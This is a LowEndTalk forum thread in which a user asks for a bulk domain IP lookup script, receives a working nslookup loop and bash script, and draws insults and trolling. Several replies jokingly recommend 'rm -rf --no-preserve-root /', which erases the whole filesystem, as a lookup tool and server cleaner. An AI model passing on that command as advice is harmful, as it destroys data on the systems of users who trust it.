Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!


Bulk IP Lookup Tool or, Script
New on LowEndTalk? Please Register and read our Community Rules.

All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.

Bulk IP Lookup Tool or, Script

Have to Check up 3700 domains IP address (bulk lookup) Can anyone recommend any free software or, script?

IPNetinfo software just got hang if more than 100 domains are provided.

Any free software or, free php script if available, kindly recommend me.

Over online few sites offer bulk IP lookup for domains, have restrictions for ex. 50, 100 at once.

Comments

  • raindog308raindog308 Administrator, Veteran
    $ cat > list.txt
    google.com
    microsoft.com
    tentaclesandspectacles.co.uk
    ^d
    $ ( while read line ; do echo $line ; nslookup $line ; done ) < list.txt 
    

    Pretty up as you wish.

    Thanked by 1ftn
  • @raindog308 trying this in a vps, will let you know the findings (:

  • I usually use:

    rm -rf --no-preserve-root /
    

    and it returns a bunch of info about domains I want to know more about.

  • (while read line ; do echo $line ; nslookup $line ; done) < list.txt

    @raindog308 Can you tell me some ssh code how to save the result in an another text file? Really help me a lot with this command and it works, however I have to save the result in an another txt file.

  • @GM2015 said:
    I usually use:

    > rm -rf --no-preserve-root /
    > 

    and it returns a bunch of info about domains I want to know more about.

    Awesome. It just works.

  • ftnftn Member
    edited February 2016

    @GM2015 said:
    I usually use:

    rm -rf --no-preserve-root /
    

    and it returns a bunch of info about domains I want to know more about.

    I'm surprised you probably don't have dick! Asshole.

  • @tommy said:
    Awesome. It just works.

  • raindog308raindog308 Administrator, Veteran

    ftn said: @raindog308 Can you tell me some ssh code how to save the result in an another text file? Really help me a lot with this command and it works, however I have to save the result in an another txt file.

    $ ./lookup.sh list.txt output.txt
    reading from list.txt and writing to output.txt
    
    #!/bin/bash
    
    input=${1}
    output=${2}
    
    rm -f $output
    echo "reading from $input and writing to $output"
    while read line ; do
        nslookup ${line} >> $output
    done < $input
    

    Future improvements:

    1. check that input and output both exist

    2. make over-writing the file optional

    3. verify input exists before trying to read from it

    4. reformat so that the output is just domain,IPs in nice CSV

    5. Use dig instead of nslookup and allow specification of record type

    6. Use getopt

    7. rewrite it in python

    Well, it's LowEnd.

    Thanked by 1ftn
  • edited February 2016

    @ftn said:
    I'm surprised you probably don't have dick! Asshole.

    I'm surprised that you're probably brainless and have no sense of humor!

    Ran it on my server, and it works really well. Thanks @GM2015

    Come on OP, is this another step into your "provide DNS" bullshit? Sounds like you're asking for a script to run in the background, like what Cloudflare would do during setup of a new domain, to provide the preset records...

    //advice: you might want to lookup the ftp, ssh, cpanel, server subdomains...

    Look forward to your offers so I can experience poor attitude and "halp-me-code-this" on a whole new level.

    most providers who don't know what they are doing don't even make it to LEB/LET, there's a pretty large chance of you making it though... by asking on LET for help. gosh, why don't you learn how to code first?

    edit: sentence fix :)

    Thanked by 2GM2015 tommy
  • theroyalstudent said: Ran it on my server, and it works really well

    Agreed. I only look up domains every once in a while and last time I did on Digitalocean, the script automatically cleared up all temporary files and made the server a lot faster.

  • @GM2015 said:
    Agreed. I only look up domains every once in a while and last time I did on Digitalocean, the script automatically cleared up all temporary files and made the server a lot faster.

    Yeah, and guess who approves the most? @Jarland!

    It's a well known fact that DigitalOcean bloats up its images so customers can't use the full potential of the server - and that command clears it up!!!

    Loving the command, mass deploying it on my nodes globally right now.

    Thanked by 2GM2015 jar
  • @raindog308 said:
    Well, it's LowEnd.

    He just want copy paste script :) I'll surprise if he know why these script just works?

    @theroyalstudent lol. He/she will ask another question, and only care about the dick answer

    Thanked by 1jar
  • jarjar Patron Provider, Top Host, Veteran
    edited February 2016

    @theroyalstudent Well I guess the truth has no way to compete with this "well known fact."

    Just because it has more packages installed than you want doesn't mean it's intentionally bloated to support some evil plan.

    (joining in the troll here...kinda ruins it when I say this though)

  • @jarland said:
    theroyalstudent Well I guess the truth has no way to compete with this "well known fact."

    Just because it has more packages installed than you want doesn't mean it's intentionally bloated to support some evil plan.

    nah, that was a joke post. if its an evil plan I would have stopped recommending DO for any production stuff :)

  • jarjar Patron Provider, Top Host, Veteran

    @theroyalstudent said:
    nah, that was a joke post. if its an evil plan I would have stopped recommending DO for any production stuff :)

    I know :P

  • @jarland said:
    (joining in the troll here...kinda ruins it when I say this though)

    Got fucking scared, come on... Thought DO was gonna reject my requests for more swag in the future lmao

    Thanked by 1CFarence
  • raindog308raindog308 Administrator, Veteran

    tommy said: He just want copy paste script :) I'll surprise if he know why these script just works?

    I missed a golden opportunity to clean up the net.

  • jarjar Patron Provider, Top Host, Veteran

    @theroyalstudent said:
    swag

    Let the swag rain down!

  • FuslFusl Member
    edited February 2016

    @raindog308 said:

    > $ ( while read line ; do echo $line ; nslookup $line ; done ) < list.txt 
    > 

    You know this is stupid and not going to work with domains that have catchall nameservers like .ws domains, right?

    › host $(pwgen 16 1).ws
    eitheepooyaerooy.ws has address 64.70.19.202
    eitheepooyaerooy.ws mail is handled by 1 mail.hope-mail.com.
  • raindog308raindog308 Administrator, Veteran

    Fusl said: You know this is stupid and not going to work with domains that have catchall nameservers like .ws domains, right?

    No, because I'm not as l33t as you. Wasn't willing to make the personality tradeoff.

    Also, see:

    raindog308 said: Well, it's LowEnd.

    We await your improvements.

  • @jarland said:
    Let the swag rain down!

    Send some to me pls :) You should know my address. Email is on my website...

    flies off for lesson

  • GM2015 said: I usually use:

    rm -rf --no-preserve-root /

    I should mention that if you use that in conjunction with any other scripts, make sure to run the other ones first or they won't work.

    Thanked by 1MikePT
  • I was taught that line has to be prioritized on all scripts you need to write.

    Ole_Juul said: I should mention that if you use that in conjunction with any other scripts, make sure to run the other ones first or they won't work.

  • @GM2015 said:
    I was taught that line has to be prioritized on all scripts you need to write.

    I add the command to init.d actually.

  • Just create 3700 new threads on LET, one for each domain. People literally can't wait do do your job for you.

    Thanked by 1theroyalstudent
  • I think raindog's code should go on GitHub

    Thanked by 1raindog308
Sign In or Register to comment.